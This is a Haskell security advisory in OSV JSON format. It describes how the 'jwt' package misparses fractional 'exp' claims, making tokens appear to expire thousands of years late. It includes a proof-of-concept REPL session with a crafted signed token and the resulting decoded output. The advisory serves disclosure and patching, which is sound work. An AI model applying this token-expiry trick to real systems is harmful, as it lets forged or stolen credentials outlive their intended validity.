{
  "affected": [
    {
      "database_specific": {
        "human_link": "https://github.com/haskell/security-advisories/tree/main/advisories/published/2026/HSEC-2026-0010.md",
        "osv": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export/2026/HSEC-2026-0010.json",
        "source": "https://github.com/haskell/security-advisories/blob/generated/osv-export/2026/HSEC-2026-0010.json"
      },
      "ecosystem_specific": {
        "affected_api": [
          {
            "module": "Web.JWT",
            "name": "decode"
          },
          {
            "module": "Web.JWT",
            "name": "decodeAndVerifySignature"
          }
        ]
      },
      "package": {
        "ecosystem": "Hackage",
        "name": "jwt",
        "purl": "pkg:hackage/jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N",
          "type": "CVSS_V3"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.10.0",
        "0.10.1",
        "0.11.0",
        "0.2.0",
        "0.2.1",
        "0.3.0",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6.0",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.9.0"
      ]
    }
  ],
  "database_specific": {
    "home": "https://github.com/haskell/security-advisories",
    "osvs": "https://raw.githubusercontent.com/haskell/security-advisories/refs/heads/generated/osv-export",
    "repository": "https://github.com/haskell/security-advisories"
  },
  "details": "# Improper parsing of fractional `NumericDate` from JWT `exp` claims\n\nSince its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.\n\nPoC:\n\n```haskell\ncabal repl --build-depends jwt==0.11.0\n\nimport Web.JWT\n:set -XOverloadedStrings\n\nlet signer = VerifyHMACSecret \"dummy-signing-symmetric-hmac-key.not-so-secret\"\nlet exploit = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\"\n-- {\n--   \"sub\": \"1234567890\",\n--   \"name\": \"Honest Joe\",\n--   \"admin\": true,\n--   \"iat\": 1790166786,\n--   \"exp\": 1790170386.0001\n-- }\nλλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit\nλ\nλλ ➔ whoops\nVerified (JOSEHeader {typ = Just \"JWT\", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [(\"admin\",Bool True),(\"name\",String \"Honest Joe\")]}}) (Signature \"xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o\")\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops\nJust 1790166786s\nλ\nλλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops\nJust 17901703860001s\n```\n\nThe encoded claim `exp = 1790170386.0001` is:\n1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*\"... non-integer values can be represented.\"*);\n2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);\n3. Decodes incorrectly as `569252-05-30T12:40:01`  (== posix epoch `17901703860001`) by the `jwt` library.\n   ```\n   >>> import Data.Time.Format.ISO8601\n   >>> import Data.Time.Clock.POSIX\n   >>>\n   >>> iso8601Show $ posixSecondsToUTCTime 1790166786\n   \"2026-09-23T12:33:06Z\"\n   >>>\n   >>> iso8601Show $ posixSecondsToUTCTime 17901703860001\n   \"569252-05-30T12:40:01Z\"\n   ```\nThis happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.\n\nSince the standard `exp` claim carries credential expiration time:\n\n>  ### [4.1.4][rfc-4.1.4].  \"exp\" (Expiration Time) Claim\n> \n>    The \"exp\" (expiration time) claim identifies the expiration time on\n>    or after which the JWT MUST NOT be accepted for processing.  The\n>    processing of the \"exp\" claim requires that the current date/time\n>    MUST be before the expiration date/time listed in the \"exp\" claim.\n\n— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.\n\n[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209\n[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2\n[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4\n[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2\n",
  "id": "HSEC-2026-0010",
  "modified": "2026-09-29T14:30:03.216576231Z",
  "published": "2026-09-29T14:22:37Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://github.com/puffnfresh/haskell-jwt/issues/4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/puffnfresh/haskell-jwt/pull/10"
    }
  ],
  "schema_version": "1.9.0",
  "summary": "Improper parsing of fractional NumericDate from JWT exp claims"
}